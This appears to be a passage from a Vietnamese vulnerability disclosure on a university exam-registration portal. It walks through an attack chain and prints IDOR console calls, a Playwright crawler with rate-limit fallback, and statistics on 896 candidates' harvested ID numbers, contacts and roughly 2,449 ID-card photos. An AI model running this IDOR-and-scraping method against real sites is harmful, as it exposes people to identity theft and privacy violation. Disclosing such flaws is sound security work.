<h4 id="xác-minh-quá-trình-tải-ảnh">Xác minh quá trình Tải Ảnh</h4>

<p>Các hình ảnh tải xuống được xác minh là ảnh chụp CCCD thực tế:</p>

<ul>
  <li>Dung lượng file từ 44KB đến 228KB (phù hợp với ảnh chụp điện thoại thẻ ID)</li>
  <li>Là các tệp hình ảnh JPEG hợp lệ</li>
  <li>Ba hình ảnh cho mỗi thí sinh (thông thường): ảnh thẻ chân dung, CCCD mặt trước, CCCD mặt sau</li>
  <li>Các hình ảnh chứa văn bản có thể đọc được bao gồm họ tên thí sinh, số CCCD, ngày sinh, và địa chỉ in trên thẻ vật lý</li>
</ul>

<p><img src="/assets/posts/CNMENU/3_list_of_national_ID_images.png" alt="Trình quản lý tệp hiển thị ảnh căn cước công dân đã tải xuống" />
<em>Hình 3: Trình quản lý tệp hiển thị hơn 2.600 ảnh căn cước công dân đã tải xuống (ảnh chân dung, mặt trước, và mặt sau) của các thí sinh.</em></p>

<h2 id="5-chuỗi-tấn-công-hoàn-chỉnh">5. Chuỗi Tấn công Hoàn chỉnh</h2>

<p>Dưới đây là toàn bộ chuỗi các bước, từ lần phát hiện ban đầu qua Google cho đến khi tải xuống ảnh căn cước công dân của toàn bộ 896 thí sinh. Mỗi bước đều xây dựng trên bước trước đó, và không một bước nào yêu cầu bất kỳ hình thức xác thực nào.</p>

<h3 id="51-tổng-quan">5.1. Tổng quan</h3>

<p>Chuỗi tấn công kết hợp nhiều kỹ thuật để leo thang từ một kết quả Google đơn lẻ đến việc trích xuất toàn bộ PII bao gồm cả ảnh chụp CCCD:</p>

<ol>
  <li><strong>Google Dorking</strong> (Trinh sát)</li>
  <li><strong>Phân tích Mã nguồn</strong> (Nhận dạng Framework)</li>
  <li><strong>Dịch ngược JavaScript API</strong> (Khám phá Schema)</li>
  <li><strong>Khai thác IDOR</strong> (Duyệt CSDL)</li>
  <li><strong>Duyệt Khóa ngoại</strong> (Truy cập liên bảng)</li>
  <li><strong>Trích xuất Metadata PDF</strong> (Thu thập dữ liệu làm hạt giống Seed Data)</li>
  <li><strong>Tiêm API qua Trình duyệt Headless</strong> (Trích xuất hàng loạt) – Headless Browser là trình duyệt web chạy ở chế độ nền, không có giao diện đồ họa, cho phép điều khiển tự động hóa (ví dụ: Playwright, Puppeteer)</li>
  <li><strong>Quét DOM</strong> (Giải quyết tham chiếu + Thu thập ảnh)</li>
  <li><strong>Tải ảnh từ CDN</strong> (Trích xuất ảnh CCCD)</li>
</ol>

<h3 id="52-bước-1-google-dorking---phát-hiện-ban-đầu">5.2. Bước 1: Google Dorking - Phát hiện Ban đầu</h3>

<p>Một tìm kiếm Google thông thường chứa tên của một thí sinh và các từ khóa liên quan đến Trường Đại học X đã trả về một liên kết trực tiếp đến trang web Trung tâm Khảo thí:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>TRUNG TAM KHAO THI TRUONG DAI HOC X
https://tec.universityx.vn/7fdc5fa41f345xxxx4bba6b0d3e449385/1518250/2368M35018
"Phieu dang ky thi nang luc ngoai ngu..."
</code></pre></div></div>

<p>Trang web được render hiển thị đầy đủ phiếu đăng ký thi bao gồm số CCCD, ngày sinh, dân tộc, thông tin liên hệ, và ảnh chụp thẻ CCCD.</p>

<h3 id="53-bước-2-phân-tích-mã-nguồn---xác-định-công-ty-y">5.3. Bước 2: Phân tích Mã nguồn - Xác định Công ty Y</h3>

<p>Kiểm tra mã nguồn trang cho thấy:</p>

<ul>
  <li>JavaScript được tải từ <code class="language-plaintext highlighter-rouge">cdn.companyy.com</code> (Công ty Y)</li>
  <li>CSS được tải từ <code class="language-plaintext highlighter-rouge">thuctap.companyy.com</code></li>
  <li>Lời gọi API đến <code class="language-plaintext highlighter-rouge">xhr.companyy.com</code> và <code class="language-plaintext highlighter-rouge">connections.universityx.vn</code></li>
  <li>Cấu hình Framework nằm tại <code class="language-plaintext highlighter-rouge">tts.companyy.vn/nguyendinhhuy</code></li>
  <li>Tên các hàm bằng tiếng Việt (<code class="language-plaintext highlighter-rouge">xửLý</code>, <code class="language-plaintext highlighter-rouge">CĂN.db</code>, <code class="language-plaintext highlighter-rouge">config</code>)</li>
</ul>

<h3 id="54-bước-3-dịch-ngược-framework-javascript-api">5.4. Bước 3: Dịch ngược Framework JavaScript API</h3>

<p>Bằng cách sử dụng developer console của trình duyệt, tôi đã dò xét (probe) phạm vi toàn cục của framework:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> <span class="k">typeof</span> <span class="nx">xuLy</span>       <span class="c1">// "function" trinh xu ly API chinh</span>
<span class="o">&gt;</span> <span class="k">typeof</span> <span class="nx">CAN</span><span class="p">.</span><span class="nx">db</span>     <span class="c1">// "function" trinh tai co so du lieu</span>
<span class="o">&gt;</span> <span class="k">typeof</span> <span class="nx">config</span>     <span class="c1">// "function" trinh lay cau hinh</span>
<span class="o">&gt;</span> <span class="k">typeof</span> <span class="nx">duLieu</span>     <span class="c1">// "object"   ngu canh du lieu cua trang</span>
<span class="o">&gt;</span> <span class="nx">CAN</span>               <span class="c1">// {fn, khoa, lib, js, db, _db}</span>
</code></pre></div></div>

<p>Bằng cách chặn bắt lưu lượng XHR trong tab Network khi tải một trang thí sinh, tôi đã quan sát được pattern yêu cầu/phản hồi:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST https://xhr.companyy.com/xhr/
  Request:  {action: "doiTuong.tai.7fdc5fa4...", d: {thuocTinh: {...}}}
  Response: ["1518250", "1518251", ...]  // Danh sach ID Doi tuong
</code></pre></div></div>

<h3 id="55-bước-4-idor--duyệt-khóa-ngoại">5.5. Bước 4: IDOR + Duyệt Khóa ngoại</h3>

<p>Với các hàm API đã được xác định, tôi khai thác IDOR để duyệt cơ sở dữ liệu:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 1. Tim bang Dang ky theo SBD (so bao danh tu file PDF)</span>
<span class="nx">xuLy</span><span class="p">(</span><span class="dl">"</span><span class="s2">doiTuong.tai.7fdc5fa41f345xxxx4bba6b0d3e449385</span><span class="dl">"</span><span class="p">,</span>
  <span class="p">{</span><span class="na">d</span><span class="p">:</span> <span class="p">{</span><span class="na">thuocTinh</span><span class="p">:</span> <span class="p">{</span><span class="dl">"</span><span class="s2">1642331</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">AN1001</span><span class="dl">"</span><span class="p">}}},</span> <span class="p">{},</span> <span class="kd">function</span><span class="p">(</span><span class="nx">ids</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">ids</span><span class="p">);</span>
    <span class="c1">// ["1518250"]</span>
  <span class="p">});</span>

<span class="c1">// 2. Tai doi tuong Dang ky -&gt; kham pha bang Thi sinh</span>
<span class="nx">CAN</span><span class="p">.</span><span class="nx">db</span><span class="p">(</span><span class="dl">"</span><span class="s2">7fdc5fa41f345xxxx4bba6b0d3e449385.1518250</span><span class="dl">"</span><span class="p">,</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
  <span class="kd">var</span> <span class="nx">reg</span> <span class="o">=</span> <span class="nx">config</span><span class="p">(</span><span class="dl">"</span><span class="s2">7fdc5fa41f345xxxx4bba6b0d3e449385.1518250</span><span class="dl">"</span><span class="p">);</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">reg</span><span class="p">[</span><span class="dl">"</span><span class="s2">1686869</span><span class="dl">"</span><span class="p">]);</span>  <span class="c1">// "582319" (ID Thi sinh)</span>
  <span class="c1">// Ma bam bang Thi sinh duoc kham pha tu moi quan he khoa ngoai</span>
<span class="p">});</span>

<span class="c1">// 3. Tai doi tuong Thi sinh -&gt; truy cap TOAN BO du lieu ca nhan</span>
<span class="nx">CAN</span><span class="p">.</span><span class="nx">db</span><span class="p">(</span><span class="dl">"</span><span class="s2">3576ff3533bb4xxxx8e394a0aa83a461f.582319</span><span class="dl">"</span><span class="p">,</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{</span>
  <span class="kd">var</span> <span class="nx">c</span> <span class="o">=</span> <span class="nx">config</span><span class="p">(</span><span class="dl">"</span><span class="s2">3576ff3533bb4xxxx8e394a0aa83a461f.582319</span><span class="dl">"</span><span class="p">);</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">c</span><span class="p">[</span><span class="dl">"</span><span class="s2">1646777</span><span class="dl">"</span><span class="p">]);</span>  <span class="c1">// "0222xxxx2576" (So CCCD)</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">c</span><span class="p">[</span><span class="dl">"</span><span class="s2">1626788</span><span class="dl">"</span><span class="p">]);</span>  <span class="c1">// "098xxxx321"   (So dien thoai)</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">c</span><span class="p">[</span><span class="dl">"</span><span class="s2">1626793</span><span class="dl">"</span><span class="p">]);</span>  <span class="c1">// "email@example.com"</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">c</span><span class="p">[</span><span class="dl">"</span><span class="s2">1626773</span><span class="dl">"</span><span class="p">]);</span>  <span class="c1">// {"ậ":["146992"]}  (Tham chieu dan toc)</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">c</span><span class="p">[</span><span class="dl">"</span><span class="s2">1658487</span><span class="dl">"</span><span class="p">]);</span>  <span class="c1">// {"ị":["4296"]}     (Anh CCCD mat truoc)</span>
  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">c</span><span class="p">[</span><span class="dl">"</span><span class="s2">1658488</span><span class="dl">"</span><span class="p">]);</span>  <span class="c1">// {"ị":["243"]}      (Anh CCCD mat sau)</span>
<span class="p">});</span>
</code></pre></div></div>

<h3 id="56-bước-5-trích-xuất-dữ-liệu-hạt-giống-từ-pdf">5.6. Bước 5: Trích xuất Dữ liệu Hạt giống từ PDF</h3>

<p>Để liệt kê tất cả các thí sinh, tôi đã trích xuất danh sách số báo danh (SBD) từ 32 tệp PDF có thể truy cập công khai. Metadata của PDF được nhúng trong HTML của trang web dưới dạng một đối tượng JSON cache với các tên trường bằng tiếng Việt viết tắt. Sau khi unescape các đường dẫn mã hóa JSON, tất cả các tệp PDF đều có thể tải xuống từ CDN tập tin tĩnh tại <code class="language-plaintext highlighter-rouge">local.universityx.connections.vn</code>. Kết quả: <strong>896 SBD duy nhất</strong> được trích xuất từ 32 PDF.</p>

<h3 id="57-bước-6-trích-xuất-hàng-loạt-tự-động">5.7. Bước 6: Trích xuất Hàng loạt Tự động</h3>

<p>Tôi đã phát triển một công cụ Python (<code class="language-plaintext highlighter-rouge">crawl_xxxx.py</code>) tự động hóa toàn bộ chuỗi sử dụng Playwright (trình duyệt Chromium headless):</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Moi worker chay 2 trang trinh duyet (pages):
#   api_page:    giu nguyen o /dangkythi de goi nhanh cac JS API
#   render_page: dieu huong den tung trang chi tiet cua thi sinh
</span>
<span class="k">def</span> <span class="nf">lookup_sbd</span><span class="p">(</span><span class="n">api_page</span><span class="p">,</span> <span class="n">render_page</span><span class="p">,</span> <span class="n">sbd</span><span class="p">):</span>
    <span class="c1"># Tra cuu API nhanh (~2 giay)
</span>    <span class="n">reg_ids</span> <span class="o">=</span> <span class="n">_api_search</span><span class="p">(</span><span class="n">api_page</span><span class="p">,</span> <span class="n">REG_TABLE</span><span class="p">,</span> <span class="p">{</span><span class="n">F_SBD</span><span class="p">:</span> <span class="n">sbd</span><span class="p">})</span>
    <span class="n">reg_data</span> <span class="o">=</span> <span class="n">_api_load_object</span><span class="p">(</span><span class="n">api_page</span><span class="p">,</span> <span class="n">REG_TABLE</span><span class="p">,</span> <span class="n">reg_ids</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
    <span class="n">cand_data</span> <span class="o">=</span> <span class="n">_api_load_object</span><span class="p">(</span><span class="n">api_page</span><span class="p">,</span> <span class="n">CAND_TABLE</span><span class="p">,</span> <span class="n">reg_data</span><span class="p">[</span><span class="n">F_CAND_ID</span><span class="p">])</span>
    <span class="c1"># -&gt; CCCD, SDT, email, don vi cong tac luc nay da duoc lay
</span>
    <span class="c1"># Render trang de lay cac tham chieu + hinh anh (~20 giay)
</span>    <span class="n">render_page</span><span class="p">.</span><span class="n">goto</span><span class="p">(</span><span class="sa">f</span><span class="s">"tec.universityx.vn/</span><span class="si">{</span><span class="n">REG_TABLE</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">reg_id</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">file_num</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="c1"># Cho doi thong minh (Smart wait): doi cho den khi chu "Dan toc" xuat hien
</span>    <span class="c1"># -&gt; Trich xuat dan toc, noi sinh tu van ban DOM
</span>    <span class="c1"># -&gt; Trich xuat URL hinh anh tu thuoc tinh background-image CSS
</span>    <span class="c1"># -&gt; Tai cac anh chup CCCD tu CDN connections.vn
</span></code></pre></div></div>

<p><img src="/assets/posts/CNMENU/2_list_of_candidates_crawled.png" alt="Bảng tính hiển thị dữ liệu thí sinh đã thu thập" />
<em>Hình 2: Bảng tính chứa dữ liệu thí sinh đã trích xuất bao gồm họ tên, số báo danh, số CCCD, ngày sinh, email, số điện thoại, dân tộc, và nơi sinh cho thấy quy mô của vụ lộ lọt dữ liệu.</em></p>

<h3 id="58-bước-7-thực-thi-song-song-với-điều-chỉnh-tốc-độ-thích-ứng">5.8. Bước 7: Thực thi Song song với Điều chỉnh Tốc độ Thích ứng</h3>

<p>Công cụ hỗ trợ <strong>3 worker song song</strong> theo mặc định, mỗi worker có instance trình duyệt Playwright riêng (để đảm bảo an toàn luồng thread safety). Nếu server bắt đầu từ chối yêu cầu (3 lỗi liên tiếp), công cụ sẽ tự động lùi về sử dụng 1 worker duy nhất:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Workers: 3 (Mac dinh)
    |
    +-- Worker 1: Browser + 2 pages (api + render)
    +-- Worker 2: Browser + 2 pages (api + render)
    +-- Worker 3: Browser + 2 pages (api + render)
    |
[3 loi lien tiep tren bat ky worker nao]
    |
    v
Workers: 1 (Du phong Fallback)
    +-- Worker 1: Browser + 2 pages (api + render)
</code></pre></div></div>

<h3 id="59-bước-8-xử-lý-lỗi-uyển-chuyển">5.9. Bước 8: Xử lý Lỗi Uyển chuyển</h3>

<p>Công cụ thực hiện nhiều cơ chế phục hồi mạnh mẽ:</p>

<ul>
  <li><strong>Xử lý Ctrl+C</strong>: Khi bị ngắt, công cụ lập tức lưu tất cả dữ liệu đã thu thập vào CSV trước khi thoát.</li>
  <li><strong>Phục hồi lỗi mạng</strong>: Khi bị timeout, công cụ tự thiết lập lại phiên trình duyệt và tiếp tục.</li>
  <li><strong>Lưu định kỳ</strong>: Flush dữ liệu ra file CSV cứ sau mỗi 10 thí sinh để giảm thiểu mất mát dữ liệu.</li>
  <li><strong>Hỗ trợ tiếp tục (Resume)</strong>: Khi khởi động lại, công cụ sẽ đọc tệp CSV hiện có và bỏ qua các SBD đã xử lý.</li>
  <li><strong>Cache tham chiếu</strong>: Việc tra cứu Dân tộc và Nơi sinh được lưu vào cache (chỉ có khoảng ~54 dân tộc và ~63 tỉnh ở Việt Nam), vì vậy việc render trang trở nên không cần thiết đối với các ID tham chiếu đã gặp trước đó.</li>
</ul>

<h2 id="6-kết-quả-dữ-liệu-đã-trích-xuất">6. Kết quả: Dữ liệu đã Trích xuất</h2>

<h3 id="61-khối-lượng-dữ-liệu">6.1. Khối lượng Dữ liệu</h3>

<table>
  <thead>
    <tr>
      <th>Chỉ số</th>
      <th>Giá trị</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Tổng thí sinh (từ các PDF)</td>
      <td>896</td>
    </tr>
    <tr>
      <td>Thí sinh có CCCD được phân giải</td>
      <td>896 (100%)</td>
    </tr>
    <tr>
      <td>Thí sinh có thông tin dân tộc</td>
      <td>896 (100%)</td>
    </tr>
    <tr>
      <td>Thí sinh có thông tin nơi sinh</td>
      <td>896 (100%)</td>
    </tr>
    <tr>
      <td>Ảnh CCCD đã tải xuống</td>
      <td>2.600+ (ảnh thẻ + mặt trước + mặt sau)</td>
    </tr>
    <tr>
      <td>Tỉ lệ thành công</td>
      <td>100%</td>
    </tr>
    <tr>
      <td>Worker sử dụng</td>
      <td>3 (chạy song song)</td>
    </tr>
    <tr>
      <td>Tốc độ xử lý</td>
      <td>~5 thí sinh/phút (bao gồm render trang)</td>
    </tr>
  </tbody>
</table>

<h3 id="62-các-trường-dữ-liệu-được-trích-xuất-trên-mỗi-thí-sinh">6.2. Các Trường Dữ liệu được Trích xuất trên mỗi Thí sinh</h3>

<table>
  <thead>
    <tr>
      <th>Trường</th>
      <th>Nguồn</th>
      <th>Mức nhạy cảm</th>
      <th>Ví dụ</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>SBD (số báo danh)</td>
      <td>PDF</td>
      <td>Thấp</td>
      <td>AN1001</td>
    </tr>
    <tr>
      <td>Họ và Tên</td>
      <td>API</td>
      <td>Trung bình</td>
      <td>Nguyễn Thị xxxx Trà</td>
    </tr>
    <tr>
      <td>Ngày sinh</td>
      <td>API + PDF</td>
      <td>Trung bình</td>
      <td>28/09/2000</td>
    </tr>
    <tr>
      <td>Giới tính</td>
      <td>API + PDF</td>
      <td>Thấp</td>
      <td>Nữ</td>
    </tr>
    <tr>
      <td>Số CCCD/CMND</td>
      <td>API</td>
      <td><strong>Nghiêm trọng</strong></td>
      <td>0222xxxx2576</td>
    </tr>
    <tr>
      <td>Số điện thoại</td>
      <td>API</td>
      <td>Cao</td>
      <td>037xxxx973</td>
    </tr>
    <tr>
      <td>Email</td>
      <td>API</td>
      <td>Cao</td>
      <td>email@gmail.com</td>
    </tr>
    <tr>
      <td>Nơi công tác</td>
      <td>API</td>
      <td>Trung bình</td>
      <td>Văn bản tự do</td>
    </tr>
    <tr>
      <td>Dân tộc</td>
      <td>DOM render</td>
      <td>Cao</td>
      <td>Kinh</td>
    </tr>
    <tr>
      <td>Nơi sinh</td>
      <td>DOM render</td>
      <td>Trung bình</td>
      <td>Tỉnh Bắc Kạn</td>
    </tr>
    <tr>
      <td><strong>Ảnh CCCD (mặt trước)</strong></td>
      <td><strong>CDN</strong></td>
      <td><strong>Nghiêm trọng</strong></td>
      <td><strong>JPEG, 44–228 KB</strong></td>
    </tr>
    <tr>
      <td><strong>Ảnh CCCD (mặt sau)</strong></td>
      <td><strong>CDN</strong></td>
      <td><strong>Nghiêm trọng</strong></td>
      <td><strong>JPEG, 44–228 KB</strong></td>
    </tr>
    <tr>
      <td>Điểm số</td>
      <td>API + PDF</td>
      <td>Trung bình</td>
      <td>8.5/6.0/5.5/7.0</td>
    </tr>
    <tr>
      <td>Mã hồ sơ (File number)</td>
      <td>API</td>
      <td>Thấp</td>
      <td>2368M35018</td>
    </tr>
  </tbody>
</table>

<h3 id="63-cấu-trúc-thư-mục-đầu-ra">6.3. Cấu trúc Thư mục Đầu ra</h3>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>output/
  candidates_phase1.csv     # 896 thi sinh (SBD, ten, ngay sinh, gioi tinh, diem)
  candidates_phase2.csv     # 896 thi sinh (+ CCCD, SDT, email, dan toc,
                            #   noi sinh, duong dan anh)
  candidates_full.csv       # Bo du lieu hoan chinh cuoi cung da hop nhat
  images/
    AN1001_front.jpg        # Anh CCCD mat truoc
    AN1001_back.jpg         # Anh CCCD mat sau
    AN1001_extra.jpg        # Anh the chan dung/anh bo sung cua thi sinh
    AN1002_front.jpg
    ...                     # Tong cong ~2.600 anh
  pdfs/                     # 32 PDF danh sach thi sinh goc
  file_index.json           # File Index Metadata cua PDF
</code></pre></div></div>

<h2 id="7-phân-tích-dữ-liệu-chi-tiết">7. Phân tích Dữ liệu Chi tiết</h2>

<p>Phần này trình bày phân tích thống kê đối với 896 bản ghi của thí sinh được trích xuất từ tệp <code class="language-plaintext highlighter-rouge">candidates_phase2.csv</code>. Tất cả các số liệu thống kê đều được tính toán bằng lập trình từ dữ liệu thô.</p>

<h3 id="71-nhân-khẩu-học">7.1. Nhân khẩu học</h3>

<ul>
  <li><strong>Tổng số thí sinh</strong>: 896 cá nhân duy nhất</li>
  <li><strong>Giới tính</strong>: 661 Nữ (73.8%), 235 Nam (26.2%)</li>
  <li><strong>Độ tuổi (năm sinh)</strong>: 1969–2005 (khoảng cách 37 năm)</li>
  <li><strong>Năm sinh trung vị</strong>: ≈ 2000 (phổ biến nhất: 2000 với 234 thí sinh, tiếp theo là 1998 với 117 và 1999 với 102)</li>
  <li>Tỷ lệ nữ/nam là 3:1 và sự tập trung vào nhóm sinh năm 1998–2002 là hoàn toàn phù hợp với đặc thù của nhóm thí sinh thi năng lực ngoại ngữ tại một trường đại học chuyên về ngoại ngữ.</li>
</ul>

<h3 id="72-độ-hoàn-thiện-của-dữ-liệu">7.2. Độ hoàn thiện của Dữ liệu</h3>

<table>
  <thead>
    <tr>
      <th>Trường</th>
      <th>Có dữ liệu</th>
      <th>Bị trống</th>
      <th>% Điền</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>SBD (số báo danh)</td>
      <td>896</td>
      <td>0</td>
      <td>100.0%</td>
    </tr>
    <tr>
      <td>Họ và tên</td>
      <td>896</td>
      <td>0</td>
      <td>100.0%</td>
    </tr>
    <tr>
      <td>Ngày sinh</td>
      <td>896</td>
      <td>0</td>
      <td>100.0%</td>
    </tr>
    <tr>
      <td>Giới tính</td>
      <td>896</td>
      <td>0</td>
      <td>100.0%</td>
    </tr>
    <tr>
      <td>CCCD/CMND</td>
      <td>896</td>
      <td>0</td>
      <td>100.0%</td>
    </tr>
    <tr>
      <td>Số điện thoại</td>
      <td>896</td>
      <td>0</td>
      <td>100.0%</td>
    </tr>
    <tr>
      <td>Email</td>
      <td>896</td>
      <td>0</td>
      <td>100.0%</td>
    </tr>
    <tr>
      <td>Dân tộc</td>
      <td>818</td>
      <td>78</td>
      <td>91.3%</td>
    </tr>
    <tr>
      <td>Ảnh CCCD (mặt trước)</td>
      <td>820</td>
      <td>76</td>
      <td>91.5%</td>
    </tr>
    <tr>
      <td>Ảnh CCCD (mặt sau)</td>
      <td>816</td>
      <td>80</td>
      <td>91.1%</td>
    </tr>
    <tr>
      <td>Nơi sinh/Tỉnh thành</td>
      <td>576</td>
      <td>320</td>
      <td>64.3%</td>
    </tr>
    <tr>
      <td>Nơi công tác</td>
      <td>135</td>
      <td>761</td>
      <td>15.1%</td>
    </tr>
  </tbody>
</table>

<p>7 trường thông tin cá nhân (PII) cốt lõi (họ tên, ngày sinh, giới tính, CCCD, số điện thoại, email, mã hồ sơ) đều có tỷ lệ điền 100%. Tỷ lệ điền thông tin nơi công tác thấp (15.1%) cho thấy hầu hết thí sinh là sinh viên nên đã bỏ trống trường không bắt buộc này.</p>

<h3 id="73-phân-tích-tên-miền-email">7.3. Phân tích Tên miền Email</h3>

<table>
  <thead>
    <tr>
      <th>Tên miền</th>
      <th>Số lượng</th>
      <th>%</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">gmail.com</code></td>
      <td>766</td>
      <td>85.5%</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">s.universityx.edu.vn</code></td>
      <td>87</td>
      <td>9.7%</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">universityx.edu.vn</code></td>
      <td>22</td>
      <td>2.5%</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">yahoo.com</code> / <code class="language-plaintext highlighter-rouge">yahoo.com.vn</code></td>
      <td>4</td>
      <td>0.4%</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">gmail.con</code> <em>(lỗi gõ phím)</em></td>
      <td>3</td>
      <td>0.3%</td>
    </tr>
    <tr>
      <td>Khác (<code class="language-plaintext highlighter-rouge">.edu.vn</code>, <code class="language-plaintext highlighter-rouge">.gov.vn</code>)</td>
      <td>14</td>
      <td>1.6%</td>
    </tr>
  </tbody>
</table>

<p>3 trường hợp gõ sai thành <code class="language-plaintext highlighter-rouge">gmail.con</code> và 87 sinh viên sử dụng MSSV làm tiền tố cho email Trường Đại học X (<code class="language-plaintext highlighter-rouge">{mssv}@s.universityx.edu.vn</code>) là những điểm đáng chú ý: các lỗi chính tả xác nhận đây là dữ liệu thật do người dùng tự nhập, trong khi mẫu email kia lại vô tình tạo ra một kênh thứ hai làm lộ số MSSV.</p>

<h3 id="74-phân-tích-định-dạng-cccdcmnd">7.4. Phân tích Định dạng CCCD/CMND</h3>

<p>Việt Nam đã phát hành tài liệu định danh dưới ba định dạng, tất cả đều xuất hiện trong tập dữ liệu này:</p>

<table>
  <thead>
    <tr>
      <th>Định dạng</th>
      <th>Số lượng</th>
      <th>%</th>
      <th>Mô tả</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>CCCD 12 số</td>
      <td>474</td>
      <td>52.9%</td>
      <td>Thẻ Căn cước công dân mới (sau 2021)</td>
    </tr>
    <tr>
      <td>CMND 10 số</td>
      <td>271</td>
      <td>30.2%</td>
      <td>Chứng minh nhân dân cũ (10 số)</td>
    </tr>
    <tr>
      <td>CMND 9 số</td>
      <td>135</td>
      <td>15.1%</td>
      <td>Chứng minh nhân dân cũ (9 số)</td>
    </tr>
    <tr>
      <td>Độ dài khác</td>
      <td>16</td>
      <td>1.8%</td>
      <td>Mã số sinh viên/Số hộ chiếu/Lỗi nhập liệu</td>
    </tr>
  </tbody>
</table>

<p><strong>Phát hiện 6 số CCCD bị trùng lặp</strong> (mỗi số xuất hiện trong 2 lượt đăng ký), cho thấy có những thí sinh đã đăng ký thi nhiều lần. Điều này xác nhận rằng đây là các hồ sơ đăng ký thực tế, trải dài xuyên suốt trong giai đoạn từ tháng 9/2024 đến tháng 2/2026.</p>

<h3 id="75-phân-bố-địa-lý">7.5. Phân bố Địa lý</h3>

<p>3 chữ số đầu tiên của một CCCD 12 số mã hóa cho tỉnh thành nơi cấp. Trong số 474 CCCD định dạng mới:</p>

<table>
  <thead>
    <tr>
      <th>Mã</th>
      <th>Tỉnh/Thành phố</th>
      <th>Số lượng</th>
      <th>%</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>001</td>
      <td>Hà Nội</td>
      <td>144</td>
      <td>30.4%</td>
    </tr>
    <tr>
      <td>036</td>
      <td>Nam Định</td>
      <td>38</td>
      <td>8.0%</td>
    </tr>
    <tr>
      <td>038</td>
      <td>Thanh Hoá</td>
      <td>36</td>
      <td>7.6%</td>
    </tr>
    <tr>
      <td>034</td>
      <td>Thái Bình</td>
      <td>31</td>
      <td>6.5%</td>
    </tr>
    <tr>
      <td>030</td>
      <td>Hải Dương</td>
      <td>25</td>
      <td>5.3%</td>
    </tr>
    <tr>
      <td>024</td>
      <td>Bắc Giang</td>
      <td>23</td>
      <td>4.9%</td>
    </tr>
    <tr>
      <td>035</td>
      <td>Hà Nam</td>
      <td>16</td>
      <td>3.4%</td>
    </tr>
    <tr>
      <td>033</td>
      <td>Hưng Yên</td>
      <td>16</td>
      <td>3.4%</td>
    </tr>
    <tr>
      <td>027</td>
      <td>Bắc Ninh</td>
      <td>15</td>
      <td>3.2%</td>
    </tr>
    <tr>
      <td>037</td>
      <td>Ninh Bình</td>
      <td>15</td>
      <td>3.2%</td>
    </tr>
  </tbody>
</table>

<p>Sự phân bố tập trung rất cao ở khu vực Đồng bằng sông Hồng tại miền Bắc Việt Nam, phù hợp với vị trí của Trường Đại học X tại Hà Nội. Riêng các thí sinh đến từ Hà Nội đã chiếm 30.4% tổng số người sở hữu CCCD mẫu mới.</p>

<h3 id="76-thống-kê-kho-dữ-liệu-ảnh">7.6. Thống kê Kho Dữ liệu Ảnh</h3>

<table>
  <thead>
    <tr>
      <th>Loại ảnh</th>
      <th>Số lượng</th>
      <th>Mô tả</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">*_front.jpg</code></td>
      <td>820</td>
      <td>Ảnh chụp mặt trước CCCD/CMND</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">*_back.jpg</code></td>
      <td>816</td>
      <td>Ảnh chụp mặt sau CCCD/CMND</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">*_extra.jpg</code></td>
      <td>813</td>
      <td>Ảnh thẻ chân dung của thí sinh</td>
    </tr>
    <tr>
      <td><strong>Tổng cộng</strong></td>
      <td><strong>2.449</strong></td>
      <td><strong>223 MB trên ổ cứng</strong></td>
    </tr>
  </tbody>
</table>

<p>Khoảng 76–80 thí sinh bị thiếu ảnh rất có thể đã đăng ký từ trước khi quy định bắt buộc tải lên ảnh CCCD được áp dụng, hoặc họ đã tải lên các tài liệu ở định dạng không chuẩn khiến công cụ quét DOM không thể trích xuất được.</p>

<h3 id="77-phân-tích-nguồn-pdf">7.7. Phân tích Nguồn PDF</h3>

<table>
  <thead>
    <tr>
      <th>Thời gian</th>
      <th>Số PDF</th>
      <th>Loại kỳ thi</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Tháng 9/2024</td>
      <td>4</td>
      <td>C1 Tiếng Anh, Trung, Nhật, Hàn</td>
    </tr>
    <tr>
      <td>Tháng 3/2025</td>
      <td>4</td>
